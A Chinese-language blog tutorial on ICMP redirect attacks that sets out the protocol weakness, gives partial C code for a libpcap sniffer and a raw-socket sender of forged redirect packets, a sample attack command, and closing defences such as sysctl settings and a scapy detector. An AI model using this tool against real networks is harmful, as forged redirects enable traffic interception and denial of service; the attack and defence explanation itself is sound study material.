news 2026/5/10 15:18:59

用C语言手搓一个ICMP重定向攻击工具：从Raw Socket到pcap库的完整实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
用C语言手搓一个ICMP重定向攻击工具：从Raw Socket到pcap库的完整实战

深入解析ICMP重定向攻击的C语言实现：从协议原理到完整工具开发

在网络安全领域，理解底层协议的工作原理对于防御和攻击同样重要。ICMP协议作为互联网控制报文协议，负责传递网络状态信息，而ICMP重定向功能原本用于优化路由，却可能被恶意利用。本文将带你从零开始，用C语言构建一个完整的ICMP重定向攻击工具，深入理解网络数据包的构造与发送机制。

1. ICMP重定向攻击原理与背景

ICMP重定向报文是路由器用来通知主机更优路由路径的一种机制。当路由器发现主机使用的不是最优路径时，会发送ICMP重定向报文告知主机更新其路由表。这种设计初衷良好的机制却存在安全隐患：

  • 缺乏强认证机制：接收主机无法验证重定向报文的真实性
  • 协议信任假设：主机通常无条件接受来自"网关"的重定向指令
  • 路由表即时更新：重定向会立即影响主机的网络通信

攻击者可以伪造ICMP重定向报文，诱使目标主机将流量重定向到攻击者控制的节点，从而实现中间人攻击或拒绝服务攻击。在虚拟化环境中，这种攻击尤为常见，因为虚拟网络设备的地址往往遵循固定模式（如.2作为网关）。

注意：本文仅用于教育目的，帮助理解网络安全原理。未经授权对他人网络实施此类攻击可能违反法律。

2. 开发环境准备与工具链配置

要开发ICMP重定向工具，需要准备以下环境和工具：

2.1 基础开发环境

# 安装必要的开发工具和库 sudo apt-get update sudo apt-get install build-essential libpcap-dev git

2.2 关键开发库

  1. libpcap：网络数据包捕获库

    • 提供原始网络数据包的捕获和过滤功能
    • 支持BPF(伯克利包过滤器)语法
    • 跨平台支持(Linux/Windows/macOS)

  2. Raw Socket：原始套接字编程接口

    • 允许构造和发送自定义协议头的数据包
    • 需要root权限运行相关程序
    • 可操作IP层及以上的协议数据

2.3 网络配置检查

在开始编码前，需要确认几个关键网络配置：

# 检查IP转发状态 cat /proc/sys/net/ipv4/ip_forward # 检查ICMP重定向接收设置 cat /proc/sys/net/ipv4/conf/all/accept_redirects

这些配置会影响攻击的实际效果，在实验环境中通常需要临时调整。

3. 核心代码实现解析

完整的ICMP重定向攻击工具包含三个主要模块：数据包嗅探、ICMP报文构造和原始数据包发送。下面我们逐模块分析关键实现。

3.1 数据包嗅探模块

嗅探模块负责监听目标主机的网络流量，触发攻击时机。使用libpcap实现：

int setup_sniffer(char *dev) { char errbuf[PCAP_ERRBUF_SIZE]; bpf_u_int32 mask, net; // 获取网络设备信息 if(pcap_lookupnet(dev, &net, &mask, errbuf) == -1) { fprintf(stderr, "Can't get netmask for device %s\n", dev); net = mask = 0; } // 打开网络设备进行嗅探 pcap_t *device = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf); if(!device) { fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf); return 2; } // 设置BPF过滤器，只捕获目标IP的流量 struct bpf_program filter; char filter_str[100]; sprintf(filter_str, "src host %s", TARGET_IP); if(pcap_compile(device, &filter, filter_str, 1, net) == -1) { fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_str, pcap_geterr(device)); return 2; } if(pcap_setfilter(device, &filter) == -1) { fprintf(stderr, "Couldn't install filter %s: %s\n", filter_str, pcap_geterr(device)); return 2; } // 开始嗅探循环 pcap_loop(device, -1, packet_handler, NULL); pcap_close(device); return 0; }

3.2 ICMP重定向报文构造

ICMP重定向报文需要精心构造IP和ICMP头部：

struct ip_header { #if BYTE_ORDER == LITTLE_ENDIAN uint8_t ihl:4; uint8_t version:4; #else uint8_t version:4; uint8_t ihl:4; #endif uint8_t tos; uint16_t tot_len; uint16_t id; uint16_t frag_off; uint8_t ttl; uint8_t protocol; uint16_t check; uint32_t saddr; uint32_t daddr; }; struct icmp_redirect { uint8_t type; // ICMP消息类型(5表示重定向) uint8_t code; // 重定向类型代码 uint16_t checksum; // ICMP校验和 uint32_t gateway; // 建议的新网关地址 // 原始IP头+前8字节数据 uint8_t payload[28]; }; void build_redirect_packet(struct icmp_redirect *icmp, uint32_t target_ip, uint32_t fake_gw) { icmp->type = ICMP_REDIRECT; icmp->code = ICMP_REDIRECT_HOST; icmp->gateway = fake_gw; // 填充payload部分... icmp->checksum = 0; icmp->checksum = checksum((uint16_t*)icmp, sizeof(*icmp)); }

3.3 原始数据包发送

使用原始套接字发送构造好的ICMP重定向报文：

void send_redirect(int sockfd, struct sockaddr_in *target, struct icmp_redirect *icmp) { // 设置IP_HDRINCL选项，告诉内核不要自动添加IP头 int one = 1; if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) { perror("setsockopt IP_HDRINCL"); exit(1); } // 发送构造好的数据包 if(sendto(sockfd, icmp, sizeof(*icmp), 0, (struct sockaddr*)target, sizeof(*target)) < 0) { perror("sendto"); exit(1); } printf("[+] ICMP Redirect sent to %s\n", inet_ntoa(target->sin_addr)); }

4. 完整工具集成与测试

将各模块组合成完整工具，并添加必要的参数处理和错误检查：

4.1 主程序框架

int main(int argc, char *argv[]) { if(argc != 5) { printf("Usage: %s <target> <redirect-to> <fake-gw> <interface>\n", argv[0]); return 1; } // 初始化目标地址 struct sockaddr_in target; memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; inet_pton(AF_INET, argv[1], &target.sin_addr); // 初始化伪造网关地址 uint32_t fake_gw; inet_pton(AF_INET, argv[3], &fake_gw); // 创建原始套接字 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if(sockfd < 0) { perror("socket"); return 1; } // 设置嗅探器 setup_sniffer(argv[4], argv[1], sockfd, &target, fake_gw); close(sockfd); return 0; }

4.2 测试与验证方法

  1. 测试环境搭建：

    • 使用两台虚拟机，配置为NAT网络模式
    • 攻击者主机：192.168.1.100
    • 受害者主机：192.168.1.101

  2. 验证步骤：

    # 在受害者主机上检查原始路由 route -n # 在攻击者主机上运行工具 sudo ./icmp_redirect 192.168.1.101 192.168.1.100 192.168.1.100 eth0 # 在受害者主机上观察路由表变化 route -n

  3. Wireshark抓包分析：

    • 过滤条件：icmp.type == 5
    • 检查重定向报文中的网关地址是否被篡改

5. 防御措施与进阶思考

了解攻击原理后，我们可以更好地防御此类攻击：

5.1 系统级防御配置

防御措施配置方法效果
禁用ICMP重定向sysctl -w net.ipv4.conf.all.accept_redirects=0完全阻止系统处理重定向报文
使用静态路由手动配置关键路由条目避免动态路由更新被篡改
启用RPF检查sysctl -w net.ipv4.conf.all.rp_filter=1验证数据包的源地址真实性

5.2 编程中的安全实践

  1. 数据包校验：

    • 验证ICMP报文的源IP是否属于合法网关
    • 检查重定向建议的新网关是否在可信范围内

  2. 网络监控：

    # 示例：使用scapy检测可疑ICMP重定向 from scapy.all import * def detect_redirect(pkt): if ICMP in pkt and pkt[ICMP].type == 5: print(f"可疑ICMP重定向来自 {pkt[IP].src}") sniff(filter="icmp", prn=detect_redirect)

5.3 协议设计思考

从这次实现中，我们可以反思网络协议设计中的安全考量：

  • 默认真实性验证：现代协议应默认要求加密或认证机制
  • 最小权限原则：网络设备不应拥有过多控制主机的权限
  • 明确信任边界：清晰定义哪些实体可以影响网络配置

在开发实际网络安全工具时，除了功能实现，还需要考虑代码的健壮性和可维护性。例如添加日志记录、参数验证和友好的用户交互界面。

版权声明: 本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若内容造成侵权/违法违规/事实不符，请联系邮箱：809451989@qq.com进行投诉反馈，一经查实，立即删除！
网站建设 2026/5/10 15:18:03

如何高效使用DouZero AI斗地主助手：专业级实战指南

如何高效使用DouZero AI斗地主助手&#xff1a;专业级实战指南 【免费下载链接】DouZero_For_HappyDouDiZhu 基于DouZero定制AI实战欢乐斗地主 项目地址: https://gitcode.com/gh_mirrors/do/DouZero_For_HappyDouDiZhu 面对复杂的斗地主牌局&#xff0c;你是否常常犹豫…

作者头像 李华
网站建设 2026/5/10 15:18:00

抖音批量下载工具终极指南：5分钟掌握高效内容提取技巧

抖音批量下载工具终极指南&#xff1a;5分钟掌握高效内容提取技巧 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser fallback suppo…

作者头像 李华
网站建设 2026/5/10 15:17:26

容器镜像转虚拟机：container-vm项目原理、实战与架构思考

1. 项目概述&#xff1a;当容器遇见虚拟机最近在折腾一个挺有意思的开源项目&#xff0c;叫wy-z/container-vm。光看这个名字&#xff0c;你可能觉得有点矛盾——“容器”和“虚拟机”不是两种不同的虚拟化技术吗&#xff0c;怎么还能放一块儿&#xff1f;这正是这个项目的精妙…

作者头像 李华
网站建设 2026/5/10 15:13:43

AssetStudio终极指南：如何轻松提取Unity游戏资源与素材

AssetStudio终极指南&#xff1a;如何轻松提取Unity游戏资源与素材 【免费下载链接】AssetStudio AssetStudio - Based on the archived Perfares AssetStudio, I continue Perfares work to keep AssetStudio up-to-date, with support for new Unity versions and additional…

作者头像 李华
网站建设 2026/5/10 15:11:50

WPeChatGPT：AI辅助逆向工程实战指南与IDA Pro插件深度解析

1. 逆向工程中的“AI副驾驶”&#xff1a;WPeChatGPT深度解析与实践在逆向工程这个需要大量脑力、经验和直觉的领域&#xff0c;我们每天都在和晦涩的汇编指令、复杂的控制流以及被剥离了符号信息的二进制“黑盒”打交道。传统的分析过程往往伴随着反复的静态分析、动态调试和大…

作者头像 李华